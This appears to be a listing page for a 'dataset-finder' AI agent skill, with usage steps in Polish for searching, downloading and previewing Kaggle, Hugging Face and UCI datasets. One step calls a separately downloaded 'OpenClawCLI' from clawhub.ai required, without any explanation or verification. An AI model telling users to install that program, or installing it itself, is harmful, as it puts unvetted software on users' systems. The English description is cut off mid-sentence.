D
dataset-finder
Use this skill when users need to search for datasets, download data files, or explore data repositories. Triggers include: requests to \
Installation
Pick a client and clone the repository into its skills directory.
Installation
About this skill
Use this skill when users need to search for datasets, download data files, or explore data repositories. Triggers include: requests to \
How to use
- Zainstaluj wymagane biblioteki Python. Otwórz terminal i uruchom: pip install kaggle datasets pandas huggingface-hub requests beautifulsoup4. Jeśli napotkasz błędy uprawnień, utwórz środowisko wirtualne poleceniem python -m venv venv, aktywuj je (source venv/bin/activate na Linuksie/macOS, venv\Scripts\activate na Windows), a następnie zainstaluj pakiety ponownie.
- Pobierz i zainstaluj OpenClawCLI ze strony clawhub.ai — jest to wymagane do uruchomienia umiejętności.
- Aby wyszukać zbiór danych na Kaggle, użyj: python scripts/dataset.py kaggle search "housing prices". Zastąp "housing prices" swoją frazą wyszukiwania.
- Aby pobrać znaleziony zbiór danych z Kaggle, wykonaj: python scripts/dataset.py kaggle download "username/dataset-name", gdzie username/dataset-name to identyfikator zbioru.
- Aby podejrzeć statystyki pobranego pliku CSV, uruchom: python scripts/dataset.py preview dataset.csv. Zamiast dataset.csv podaj ścieżkę do swojego pliku.
- Aby wygenerować kartę danych (opis metadanych zbioru), użyj: python scripts/dataset.py datacard dataset.csv. Analogicznie możesz wyszukiwać i pobierać zbiory z Hugging Face (polecenia huggingface search i huggingface download) lub UCI ML Repository (uci search).